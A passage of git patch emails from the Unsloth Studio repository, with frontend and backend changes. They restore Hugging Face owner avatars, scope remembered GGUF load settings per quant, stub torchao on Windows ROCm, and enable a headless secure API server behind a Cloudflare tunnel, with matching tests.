+    <path d="M511.984 0c-198.032 0-353.12 161.104-353.12 359.136 0 149.2 73.28 220.256 131.185 272.128 37.28 33.424 62.368 53.552 62.368 78.352v54.255c0 1.392.193 2.752.368 4.128h-.72v92.624c.016 97.712 63.2 163.376 161.072 163.376 94.464 0 158.944-65.664 158.944-163.376V768h-.928c.176-1.376.416-2.736.416-4.128v-54.255c0-37.76 28.032-60.592 70.528-97.696 57.504-50.208 123.023-112.688 123.023-252.784C865.136 161.104 710.016 0 511.983 0zm-1.215 960c-59.904 0-94.689-37.152-94.689-99.376l-.463-42.672C438.64 825.824 470 832 512 832c41.424 0 72.848-6.624 96.08-14.768v43.392c0 63.152-35.247 99.376-97.312 99.376zm189.248-396.288c-43.472 37.968-92.433 77.216-92.433 145.904v40.432c-15.183 8.48-43.183 18.56-96.127 18.56-55.569 0-81.92-9.856-95.024-17.473V709.6c0-54.608-42.688-89.297-83.68-126.017-54.32-48.672-109.873-103.84-109.873-224.464-.015-162.72 126.385-295.12 289.104-295.12 162.752 0 289.152 132.4 289.152 295.137 0 111.024-48.463 158.576-101.12 204.576z" />
+  </svg>
+);

From 88e451c63d4c849ae9be70ffd0a3d7d7a9c3160e Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Tue, 23 Jun 2026 05:16:57 -0700
Subject: [PATCH 062/306] Hub: restore Unsloth owner avatar to HF profile
 picture (#6606)

PR #6364 added a branch that overrode the unsloth owner avatar with the
bundled circle-logo-small.png sticker. Revert it so unsloth uploads use
the live Hugging Face org avatar again, falling back to the colored
initial tile. Upstream re-uploads are unaffected since they still
resolve through provider logos.

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
---
 .../src/features/hub/catalog/owner-avatar.tsx | 30 -------------------
 1 file changed, 30 deletions(-)

diff --git a/studio/frontend/src/features/hub/catalog/owner-avatar.tsx b/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
index 82a1f150d2..852c09ab5f 100644
--- a/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
+++ b/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
@@ -19,24 +19,6 @@ const SIZES: Record<AvatarSize, string> = {
   lg: "size-12 rounded-[15px] text-[16px]",
 };
 
-// Unsloth's own uploads (no upstream provider match) show the bundled Unsloth
-// brand avatar instead of a colored-initial tile, so they read as Unsloth even
-// in virtualized rows that never fetch the HF profile picture.
-const UNSLOTH_OWNER_LOGO: ProviderLogo = {
-  id: "unsloth",
-  name: "Unsloth",
-  logoPath: "/circle-logo-small.png",
-  treatment: "original",
-  background: "transparent",
-  fit: "cover",
-  // Used directly for the unsloth owner, never via prefix matching.
-  prefixes: [],
-};
-
-function isUnslothOwner(owner: string): boolean {
-  return owner.trim().toLowerCase() === "unsloth";
-}
-
 const AVATAR_IMAGE_RETRY_BASE_MS = 60_000;
 const AVATAR_IMAGE_RETRY_MAX_MS = 30 * 60_000;
 
@@ -86,15 +68,6 @@ export function OwnerAvatar({
       />
     );
   }
-  if (isUnslothOwner(owner)) {
-    return (
-      <ProviderLogoTile
-        provider={UNSLOTH_OWNER_LOGO}
-        size={size}
-        className={className}
-      />
-    );
-  }
   return (
     <DefaultAvatar
       owner={owner}
@@ -114,9 +87,6 @@ export function useAvatarImageUrl(
   if (provider) {
     return provider.treatment === "original" ? provider.logoPath : null;
   }
-  if (isUnslothOwner(owner)) {
-    return UNSLOTH_OWNER_LOGO.logoPath;
-  }
   return remoteUrl;
 }
 

From 2193b7f31488292059182d66c68e5677dfdc666a Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Tue, 23 Jun 2026 09:35:21 -0300
Subject: [PATCH 063/306] Studio: scope "Remember settings next time" per GGUF
 quant and apply on every load path (#6594)

* Studio: remember load settings per GGUF quant

* Studio: apply remembered load settings on load-on-selection

* Studio: apply remembered load settings on the Hub load path

* Studio: reset staged knobs before seeding remembered settings on Hub load
---
 .../remembered-load-settings.ts               | 29 +++++++++++----
 .../frontend/src/features/chat/chat-page.tsx  | 30 ++++++++++++---
 .../src/features/chat/chat-settings-sheet.tsx | 37 +++++++++----------
 .../chat/stores/chat-runtime-store.ts         | 15 ++++++++
 studio/frontend/src/features/hub/hub-page.tsx | 25 +++++++++++++
 5 files changed, 104 insertions(+), 32 deletions(-)

diff --git a/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts b/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
index 85e088ffb2..ec75b17f20 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
+++ b/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
@@ -14,6 +14,21 @@ export interface RememberedLoadSettings {
   tensorParallel: boolean;
 }
 
+// Storage key for a pick's remembered settings. The remembered knobs are
+// VRAM-budget driven (context override, KV-cache dtype, tensor-parallel), so the
+// right values differ per quant. An HF repo collapses all its GGUF variants into
+// one `id`, so fold the variant in to scope settings per quant. Local .gguf
+// paths key by their file path (already file-specific); native drag-drop files
+// key by display label, so same-named files in different folders share an entry.
+export function rememberedLoadSettingsKey(selection: {
+  id: string;
+  ggufVariant?: string | null;
+}): string {
+  return selection.ggufVariant
+    ? `${selection.id}::${selection.ggufVariant}`
+    : selection.id;
+}
+
 function readAll(): Record<string, RememberedLoadSettings> {
   try {
     return JSON.parse(localStorage.getItem(KEY) ?? "{}");
@@ -31,24 +46,24 @@ function writeAll(all: Record<string, RememberedLoadSettings>) {
 }
 
 export function loadRememberedLoadSettings(
-  modelId: string,
+  key: string,
 ): RememberedLoadSettings | null {
-  return readAll()[modelId] ?? null;
+  return readAll()[key] ?? null;
 }
 
 export function saveRememberedLoadSettings(
-  modelId: string,
+  key: string,
   settings: RememberedLoadSettings,
 ) {
   const all = readAll();
-  all[modelId] = settings;
+  all[key] = settings;
   writeAll(all);
 }
 
-export function clearRememberedLoadSettings(modelId: string) {
+export function clearRememberedLoadSettings(key: string) {
   const all = readAll();
-  if (modelId in all) {
-    delete all[modelId];
+  if (key in all) {
+    delete all[key];
     writeAll(all);
   }
 }
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index 7d4292669d..a288a60fb6 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -8,6 +8,10 @@ import {
   type ModelOption,
   ModelSelector,
 } from "@/components/assistant-ui/model-selector";
+import {
+  loadRememberedLoadSettings,
+  rememberedLoadSettingsKey,
+} from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import { ProjectComposer, Thread } from "@/components/assistant-ui/thread";
 import { CopyableErrorChip } from "@/components/ui/copyable-error-chip";
 import {
@@ -1275,13 +1279,18 @@ export function ChatPage({
     selectModelRef.current = selectModel;
   }, [refresh, selectModel]);
   // Load a cached autoLoad pick once its download finishes. The sheet was never
-  // opened, so on a load failure just drop the orphaned staged knobs.
+  // opened, so on a load failure just drop the orphaned staged knobs. The knobs
+  // were already seeded on stage, so keepSpeculative only when a config was
+  // saved -- otherwise the standing speculative preference should win.
   autoLoadStagedRef.current = (pending) => {
+    const remembered = loadRememberedLoadSettings(
+      rememberedLoadSettingsKey(pending),
+    );
     void selectModel({
       ...pending,
       isDownloaded: true,
       forceReload: true,
-      keepSpeculative: false,
+      keepSpeculative: remembered != null,
       throwOnError: true,
     }).catch(() => {
       const store = useChatRuntimeStore.getState();
@@ -1648,10 +1657,21 @@ export function ChatPage({
         (!hasGgufSource(selection) && !wantManagerDownload) ||
         (store.loadOnSelection && selection.isDownloaded)
       ) {
-        // Detach any staged pick first so its edited knobs don't leak into this
-        // immediate load. Detach (not abandon) keeps its download running.
+        // Detach any staged pick first so its edited knobs (e.g. a custom
+        // context length) don't leak into this immediate load -- resolveLoad
+        // reads customContextLength before checking the target is GGUF. Detach
+        // (not abandon) keeps its download running.
         detachStaged();
-        await selectModel(selection);
+        // Load-on-selection skips the sheet, so seed the saved knobs here the
+        // way the sheet's restore effect would; the switch would otherwise reset
+        // the remembered speculative choice (keepSpeculative below prevents it).
+        const remembered = hasGgufSource(selection)
+          ? loadRememberedLoadSettings(rememberedLoadSettingsKey(selection))
+          : null;
+        if (remembered) store.applyRememberedLoadSettings(remembered);
+        await selectModel(
+          remembered ? { ...selection, keepSpeculative: true } : selection,
+        );
         return;
       }
       // Loads can't queue behind each other, but a download is independent: if
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index d9b338e069..bc73e1ddf2 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -21,6 +21,7 @@ import { Checkbox } from "@/components/ui/checkbox";
 import {
   clearRememberedLoadSettings,
   loadRememberedLoadSettings,
+  rememberedLoadSettingsKey,
   saveRememberedLoadSettings,
 } from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import {
@@ -579,6 +580,9 @@ export function ChatSettingsPanel({
   );
   const kvCacheDtype = useChatRuntimeStore((s) => s.kvCacheDtype);
   const setKvCacheDtype = useChatRuntimeStore((s) => s.setKvCacheDtype);
+  const applyRememberedLoadSettings = useChatRuntimeStore(
+    (s) => s.applyRememberedLoadSettings,
+  );
   const loadedKvCacheDtype = useChatRuntimeStore((s) => s.loadedKvCacheDtype);
   const tensorParallel = useChatRuntimeStore((s) => s.tensorParallel);
   const setTensorParallel = useChatRuntimeStore((s) => s.setTensorParallel);
@@ -613,25 +617,16 @@ export function ChatSettingsPanel({
   // the saved per-model settings on stage, so the sheet opens with what was used
   // last time; the tick reflects whether a saved entry exists.
   const [remember, setRemember] = useState(false);
-  const pendingId = pendingSelection?.id ?? null;
+  // Keyed per quant: a different variant of the same repo has its own settings.
+  const pendingKey = pendingSelection
+    ? rememberedLoadSettingsKey(pendingSelection)
+    : null;
   useEffect(() => {
-    if (!pendingId) return;
-    const saved = loadRememberedLoadSettings(pendingId);
+    if (!pendingKey) return;
+    const saved = loadRememberedLoadSettings(pendingKey);
     setRemember(saved != null);
-    if (!saved) return;
-    setCustomContextLength(saved.contextLength);
-    setKvCacheDtype(saved.kvCacheDtype);
-    setSpeculativeType(saved.speculativeType ?? "auto");
-    setSpecDraftNMax(saved.specDraftNMax);
-    setTensorParallel(saved.tensorParallel);
-  }, [
-    pendingId,
-    setCustomContextLength,
-    setKvCacheDtype,
-    setSpeculativeType,
-    setSpecDraftNMax,
-    setTensorParallel,
-  ]);
+    if (saved) applyRememberedLoadSettings(saved);
+  }, [pendingKey, applyRememberedLoadSettings]);
   // While staging, the sheet reflects the STAGED model, so its header context
   // takes precedence over the loaded model's (which may differ or be larger).
   const baseContext = pendingIsGguf ? stagedContextLength : ggufContextLength;
@@ -1213,9 +1208,11 @@ export function ChatSettingsPanel({
                       type="button"
                       onClick={() => {
                         // Persist (or clear) this model's load knobs before loading.
-                        // Save the explicit context override only (null = auto), so
-                        // restoring never forces the native context into an OOM.
-                        const pid = pendingSelection?.id;
+                        // Context is stored as the override (null = auto), never the
+                        // resolved native value, so restoring can't force an OOM.
+                        const pid = pendingSelection
+                          ? rememberedLoadSettingsKey(pendingSelection)
+                          : null;
                         if (pid) {
                           if (remember) {
                             saveRememberedLoadSettings(pid, {
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index 059a454305..5b2dae5e08 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import type { RememberedLoadSettings } from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import { cancelStagedModelDownload } from "@/features/hub";
 import { toast } from "@/lib/toast";
 import { create } from "zustand";
@@ -770,6 +771,10 @@ type ChatRuntimeStore = {
    *  start each deferred-staging session clean so one staged pick's settings
    *  don't leak onto the next. */
   resetModelSettingsToLoaded: () => void;
+  /** Seed the editable load knobs from a model's remembered settings. Shared by
+   *  the settings sheet's restore effect and the "Load on selection" paths,
+   *  which skip the sheet but must still honor a saved config. */
+  applyRememberedLoadSettings: (settings: RememberedLoadSettings) => void;
   setTensorParallel: (value: boolean) => void;
   setLoadOnSelection: (value: boolean) => void;
   setExpandQuantizations: (value: boolean) => void;
@@ -1528,6 +1533,16 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   setSpecDraftNMax: (specDraftNMax) => set({ specDraftNMax }),
   setTensorParallel: (tensorParallel) => set({ tensorParallel }),
   resetModelSettingsToLoaded: () => set((s) => loadedBaselineSettings(s)),
+  applyRememberedLoadSettings: (settings) =>
+    // Coalesce every field: a blob persisted by an older/newer build can omit
+    // keys, and a raw spread would push `undefined` into fields typed non-null.
+    set({
+      customContextLength: settings.contextLength ?? null,
+      kvCacheDtype: settings.kvCacheDtype ?? null,
+      speculativeType: settings.speculativeType ?? "auto",
+      specDraftNMax: settings.specDraftNMax ?? null,
+      tensorParallel: settings.tensorParallel ?? false,
+    }),
   setLoadOnSelection: (loadOnSelection) => {
     saveBool(CHAT_LOAD_ON_SELECTION_KEY, loadOnSelection);
     set({ loadOnSelection });
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index b919e5f043..c696862283 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -1,6 +1,10 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import {
+  loadRememberedLoadSettings,
+  rememberedLoadSettingsKey,
+} from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import { useHubInventory } from "@/features/hub/inventory";
 import { useDebouncedValue } from "@/hooks/use-debounced-value";
 import { useGpuInfo } from "@/hooks/use-gpu-info";
@@ -1088,11 +1092,32 @@ export function ModelsPage() {
         openNewChat();
         return;
       }
+      // Detach any leftover staged pick first so its edited knobs (e.g. a custom
+      // context length) don't leak into this load -- mirrors the chat page's
+      // detachStaged(); keepDownload keeps any staged download running.
+      useChatRuntimeStore.getState().abandonStagedModel({ keepDownload: true });
+      // Load-on-selection skips the chat sheet, so seed this GGUF pick's saved
+      // load knobs here the way the sheet's restore effect would; otherwise the
+      // remembered config is silently ignored on the Hub run path. keepSpeculative
+      // then honors the restored speculative choice across the switch.
+      const remembered =
+        opts.ggufVariant != null || selectedModel.isGguf
+          ? loadRememberedLoadSettings(
+              rememberedLoadSettingsKey({
+                id: runId,
+                ggufVariant: opts.ggufVariant,
+              }),
+            )
+          : null;
+      if (remembered) {
+        useChatRuntimeStore.getState().applyRememberedLoadSettings(remembered);
+      }
       void selectModel({
         id: runId,
         ggufVariant: opts.ggufVariant,
         isDownloaded,
         expectedBytes: opts.expectedBytes,
+        keepSpeculative: remembered != null,
         throwOnError: true,
       })
         .then(() => {

From 55c392ff7c106dbd31b168c2d832c0ae536c005b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 05:39:02 -0700
Subject: [PATCH 064/306] studio: fix sentence-transformers RAG embedder on
 Windows ROCm (torchao) (#6608)

torchao has no working Windows ROCm build. transformers.quantizers imports it,
and it loads torch's c10d distributed backend at module level, which the AMD
Windows wheels omit (no RCCL). The import aborts, transformers can no longer
expose PreTrainedModel, and the sentence-transformers embedder silently falls
back to the llama-server GGUF embedder. Linux ROCm and NVIDIA are unaffected
(the c10d ops are present / torchao is real there).

The training and export workers already install the shared torchao stub before
importing transformers, but the RAG embedder runs in the main backend process,
which never did. Two fixes, both no-ops off Windows ROCm:

- embeddings.py: install_torchao_windows_rocm_stub() before the first
  sentence-transformers import, so an already-installed torchao is neutralized
  (fixes existing venvs).
- install_python_stack.py: stop installing torchao on Windows ROCm; it can only
  crash on import there, so new venvs never ship it.

Add tests covering the embedder stub call and the install skip.
---
 studio/backend/core/rag/embeddings.py       | 22 +++++++++++++++++++++
 studio/backend/tests/test_torchao_select.py | 12 +++++++++++
 studio/install_python_stack.py              | 18 +++++++++--------
 tests/studio/install/test_rocm_support.py   | 10 ++++++++++
 4 files changed, 54 insertions(+), 8 deletions(-)

diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py
index 4e76e4fcaa..4bbbd19196 100644
--- a/studio/backend/core/rag/embeddings.py
+++ b/studio/backend/core/rag/embeddings.py
@@ -46,6 +46,27 @@ def _device() -> str:
     return _TORCH_DEVICE.get(get_device(), "cpu")
 
 
+_torchao_stub_done = False
+
+
+def _install_torchao_stub_once() -> None:
+    """Neutralize torchao before the first sentence-transformers import.
+
+    transformers.quantizers imports torchao, which loads torch's c10d
+    distributed backend at module level; the AMD Windows ROCm wheels omit it
+    (no RCCL), so the import aborts and silently drops the ST embedder to the
+    llama-server fallback. The training/export workers install this stub at
+    process start, but the embedder runs in the main backend process, which
+    otherwise never does. No-op off Windows ROCm. Runs once (under ``_lock``)."""
+    global _torchao_stub_done
+    if _torchao_stub_done:
+        return
+    _torchao_stub_done = True
+    from core._torchao_stub import install_torchao_windows_rocm_stub
+
+    install_torchao_windows_rocm_stub()
+
+
 def _get(model_name: str | None = None):
     """Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16
     for a ~1.5x speedup at negligible accuracy loss."""
@@ -53,6 +74,7 @@ def _get(model_name: str | None = None):
     name = model_name or config.EMBEDDING_MODEL
     with _lock:
         if _model is None or _name != name:
+            _install_torchao_stub_once()
             from sentence_transformers import SentenceTransformer
 
             device = _device()
diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py
index 393a74daaf..3ff9873270 100644
--- a/studio/backend/tests/test_torchao_select.py
+++ b/studio/backend/tests/test_torchao_select.py
@@ -69,3 +69,15 @@ def test_default_spec_matches_table(monkeypatch):
     mod = _load_module(monkeypatch)
     assert mod._TORCHAO_DEFAULT_SPEC == "torchao==0.14.0"
     assert mod._select_torchao_spec("2.9.0") == mod._TORCHAO_DEFAULT_SPEC
+
+
+def test_skips_torchao_on_windows_rocm():
+    """The overrides step must skip torchao on Windows ROCm. There is no working
+    torchao build there: it loads torch's c10d distributed backend at import,
+    which the AMD Windows wheels omit, so `import torchao` raises and takes
+    transformers.quantizers with it. Studio stubs torchao at runtime instead."""
+    source = _INSTALL_SCRIPT.read_text(encoding = "utf-8")
+    # Branches on the Windows-ROCm marker set by _ensure_rocm_torch ...
+    assert "elif _rocm_windows_torch_installed:" in source
+    # ... and reports the skip in the progress label.
+    assert "dependency overrides (skipped, Windows ROCm)" in source
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index 1c3918f900..ce25c4faf9 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -2234,25 +2234,27 @@ def install_python_stack() -> int:
     # 4. Overrides (torchao) -- force-reinstall. The torchao version is chosen to
     #    match the torch installed in the venv so its C++ extensions load (see
     #    _select_torchao_spec). Skip when torch is unavailable (e.g. Intel Mac
-    #    GGUF-only mode): torchao requires torch.
+    #    GGUF-only mode): torchao requires torch. Also skipped on Windows ROCm,
+    #    which has no working torchao build (see below).
     if NO_TORCH:
         _progress("dependency overrides (skipped, no torch)")
+    elif _rocm_windows_torch_installed:
+        # torchao has no working Windows ROCm build: it loads torch's c10d
+        # distributed backend at import, which the AMD Windows wheels omit (no
+        # RCCL), so `import torchao` raises and takes transformers.quantizers
+        # down with it. Studio stubs torchao at runtime (core/_torchao_stub.py),
+        # so installing it only ships a package that crashes on import -- skip it.
+        _progress("dependency overrides (skipped, Windows ROCm)")
+        _safe_print("   Windows ROCm -- skipping torchao (no working build; stubbed at runtime)")
     else:
         _progress("dependency overrides")
         _torch_ver = _probe_installed_torch_version()
         _torchao_spec = _select_torchao_spec(_torch_ver)
         _safe_print(f"   torch {_torch_ver or 'unknown'} detected -- installing {_torchao_spec}")
-        _override_extra_args: tuple[str, ...] = ()
-        if _rocm_windows_torch_installed:
-            # torchao declares torch as a dependency; without --no-deps uv would
-            # install CPU torch from PyPI, overwriting the AMD ROCm wheels we just
-            # installed.
-            _override_extra_args = ("--no-deps",)
         pip_install(
             "Installing dependency overrides",
             "--force-reinstall",
             "--no-cache-dir",
-            *_override_extra_args,
             _torchao_spec,
         )
 
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index 6915269cec..eeffb6fd95 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -1221,6 +1221,8 @@ _WORKER_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "training" / "work
 _EXPORT_WORKER_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "export" / "worker.py"
 # Shared torchao Windows-ROCm stub used by both workers.
 _TORCHAO_STUB_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "_torchao_stub.py"
+# RAG embedder -- runs in the main backend process and also needs the stub.
+_EMBEDDINGS_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "rag" / "embeddings.py"
 # Wheel-probe script literal lives in wheel_utils after the resolver refactor.
 _WHEEL_UTILS_PATH = PACKAGE_ROOT / "studio" / "backend" / "utils" / "wheel_utils.py"
 
@@ -2329,6 +2331,14 @@ class TestWorkerWindowsRocmPatches:
         source = _EXPORT_WORKER_PATH.read_text(encoding = "utf-8")
         assert "install_torchao_windows_rocm_stub()" in source
 
+    def test_embedder_calls_shared_torchao_stub(self):
+        """rag/embeddings.py must install the stub before the first sentence-
+        transformers import. The embedder runs in the main backend process (not a
+        stubbed worker), so without this transformers -> torchao crashes on Windows
+        ROCm and the ST embedder silently drops to the llama-server fallback."""
+        source = _EMBEDDINGS_PATH.read_text(encoding = "utf-8")
+        assert "install_torchao_windows_rocm_stub()" in source
+
     def test_torchao_stub_uses_stub_type_meta(self):
         """Torchao stub must use _StubTypeMeta so isinstance() returns False not TypeError."""
         source = _TORCHAO_STUB_PATH.read_text(encoding = "utf-8")

From 7bac461471c9e1215e460894ab61deedafe81b76 Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Tue, 23 Jun 2026 14:43:56 +0200
Subject: [PATCH 065/306] Remove git blame ignore revs (#6582)

---
 .git-blame-ignore-revs | 8 --------
 1 file changed, 8 deletions(-)
 delete mode 100644 .git-blame-ignore-revs

diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs
deleted file mode 100644
index 17d96cd0f5..0000000000
--- a/.git-blame-ignore-revs
+++ /dev/null
@@ -1,8 +0,0 @@
-# Commits listed here are skipped by `git blame` so that bulk, whitespace-only
-# changes don't obscure the real authorship of a line.
-#
-# GitHub honors this file automatically. To use it locally, run once:
-#   git config blame.ignoreRevsFile .git-blame-ignore-revs
-
-# chore(studio/frontend): normalize line endings to LF
-c50b8ab910f5aa56dd7ae0022d2c7b96bfe3384a

From 76cbddb859c2779566fac3540619dc4c05dd4707 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 05:44:56 -0700
Subject: [PATCH 066/306] Studio: allow --secure with --api-only (headless
 secure API server) and add --api-only to `unsloth studio run` (#6591)

* Studio: start the Cloudflare tunnel for --secure even in --api-only, and add --api-only to `unsloth studio run`

--secure exposes ONLY the Cloudflare link (it forces a loopback bind), but
_cloudflare_tunnel_should_start gated the tunnel on `not api_only`, so
`run.py --secure --api-only` started no tunnel and then fail-closed with
"A secure Cloudflare link is not allowed". That blocked the natural headless
use: serve just the API (no web UI) over the authenticated tunnel.

Make --secure start the tunnel regardless of api_only (the non-secure path is
unchanged: tunnel only a 0.0.0.0 bind, never api-only Tauri or Colab). Then
expose --api-only on `unsloth studio run` and forward it through both the
re-exec args and the in-venv run_server call, so
`unsloth studio run --secure --api-only --model ...` is a one-liner secure API
server.

Verified end to end: `run.py --secure --api-only` now brings up the tunnel and
serves /api/health over it (200), with / returning 404 (no UI).

Tests: update the tunnel-gate truth table (secure+api-only now tunnels;
secure+colab still does not) and add --api-only registration + re-exec/in-venv
forwarding coverage to the run CLI tests.

* Trim comments to be succinct (no behavior change)

* studio: address review on parent --api-only and secure api-only CORS

- Reject --api-only on the parent `unsloth studio` group when a subcommand
  is invoked, with the same redirect guidance used for --parallel/--secure;
  otherwise the flag was silently dropped and the UI served anyway.
- Keep CORS any-origin for secure api-only serving: that mode publishes the
  API over Cloudflare for remote browser clients, so the Tauri-only lockdown
  (still applied to plain local api-only) would break preflight. Factored the
  decision into cors_origins_for_mode() and gate it on api_only and not secure;
  run_server exports UNSLOTH_SECURE before importing main.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: suppress TAURI_PORT and de-dup test for headless run --api-only

- run_server gains emit_tauri_port (default True, unchanged for the Tauri/
  desktop path). The new headless `run --api-only` path passes False so the
  Tauri-only TAURI_PORT= line no longer prepends the documented URL/API key
  banner (it ran even under --silent and could break one-liner parsers).
- Remove a duplicate test_reexec_forwards_api_only that shadowed the
  parametrized one; fold the --secure --api-only case into it so the secure
  headless path is actually collected.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/main.py                        |  20 ++--
 studio/backend/run.py                         |  24 ++++-
 .../backend/tests/test_secure_tunnel_gate.py  |  50 ++++++++-
 studio/backend/utils/host_policy.py           |  20 ++++
 unsloth_cli/commands/studio.py                |  22 ++++
 .../tests/test_studio_run_parallel_flag.py    | 101 ++++++++++++++++++
 6 files changed, 216 insertions(+), 21 deletions(-)

diff --git a/studio/backend/main.py b/studio/backend/main.py
index 017e78fb35..a56bd46c4b 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -855,24 +855,16 @@ async def _recipes_redirect(rest: str = ""):
     return _RedirectResponse(url = target, status_code = 308)
 
 
-_api_only = os.environ.get("UNSLOTH_API_ONLY") == "1"
-_cors_origins = ["*"]
-if _api_only:
-    _cors_origins = [
-        "tauri://localhost",  # Linux/macOS Tauri webview
-        "http://tauri.localhost",  # Windows Tauri webview
-        "http://localhost",  # dev fallback
-        "http://localhost:5173",  # Tauri dev/Vite
-        "http://127.0.0.1:5173",  # Tauri dev/Vite fallback
-    ]
-    _cors_origin_regex = None
-else:
-    _cors_origin_regex = None
+from utils.host_policy import cors_origins_for_mode  # noqa: E402
+
+_cors_origins = cors_origins_for_mode(
+    api_only = os.environ.get("UNSLOTH_API_ONLY") == "1",
+    secure = os.environ.get("UNSLOTH_SECURE") == "1",
+)
 
 app.add_middleware(
     CORSMiddleware,
     allow_origins = _cors_origins,
-    allow_origin_regex = _cors_origin_regex,
     allow_credentials = True,
     allow_methods = ["*"],
     allow_headers = ["*"],
diff --git a/studio/backend/run.py b/studio/backend/run.py
index 709efc2098..bb57db9bcb 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -893,9 +893,14 @@ def _setup_server_disk_logging():
 def _cloudflare_tunnel_should_start(
     *, cloudflare: bool, host: str, secure: bool, api_only: bool, is_colab: bool
 ) -> bool:
-    """Whether to start the Cloudflare tunnel. --secure tunnels a loopback bind too;
-    non-secure keeps the 0.0.0.0-only rule. Colab/api-only never tunnel."""
-    return cloudflare and (host == "0.0.0.0" or secure) and not api_only and not is_colab
+    """Whether to start the Cloudflare tunnel. --secure exposes only the tunnel
+    (loopback bind), so it tunnels even api-only (headless secure API serving);
+    otherwise tunnel only a 0.0.0.0 bind, never api-only (Tauri) or Colab."""
+    if is_colab or not cloudflare:
+        return False
+    if secure:
+        return True
+    return host == "0.0.0.0" and not api_only
 
 
 def _apply_cli_tool_policy(enable_tools: "Optional[bool]") -> None:
@@ -919,6 +924,7 @@ def run_server(
     cloudflare: bool = True,
     secure: bool = False,
     enable_tools: "Optional[bool]" = None,
+    emit_tauri_port: bool = True,
 ):
     """
     Start the FastAPI server.
@@ -932,6 +938,9 @@ def run_server(
         llama_parallel_slots: parallel slots for llama-server
         enable_tools: explicit --enable-tools/--disable-tools policy; None leaves
             the default (tools on, per-request enable_tools honored)
+        emit_tauri_port: print the machine-readable TAURI_PORT line the desktop
+            app parses from stdout; the headless `run --api-only` path turns it
+            off so it does not pollute the documented URL/API-key banner
 
     Note:
         Signal handlers are NOT registered here so embedders (e.g. Colab) keep
@@ -974,9 +983,13 @@ def run_server(
     if _session_log is not None and not silent:
         print(f"Session log: {_session_log}")
 
-    # Set env var BEFORE importing main so CORS middleware picks it up.
+    # Set env vars BEFORE importing main so CORS middleware picks them up.
+    # secure api-only is a remote server behind Cloudflare, so it keeps the
+    # any-origin CORS profile; plain api-only stays locked to the Tauri app.
     if api_only:
         os.environ["UNSLOTH_API_ONLY"] = "1"
+    if secure:
+        os.environ["UNSLOTH_SECURE"] = "1"
 
     import nest_asyncio
 
@@ -1158,7 +1171,8 @@ def run_server(
     atexit.register(terminate_all)
 
     # Output port for Tauri (api-only), only after sockets bind and startup done.
-    if api_only:
+    # The headless `run --api-only` path opts out so it does not leak this line.
+    if api_only and emit_tauri_port:
         print(f"TAURI_PORT={port}", flush = True)
 
     # Free trycloudflare.com tunnel for 0.0.0.0 binds (the raw ip:port is often
diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py
index d254121c14..bf9836e8f3 100644
--- a/studio/backend/tests/test_secure_tunnel_gate.py
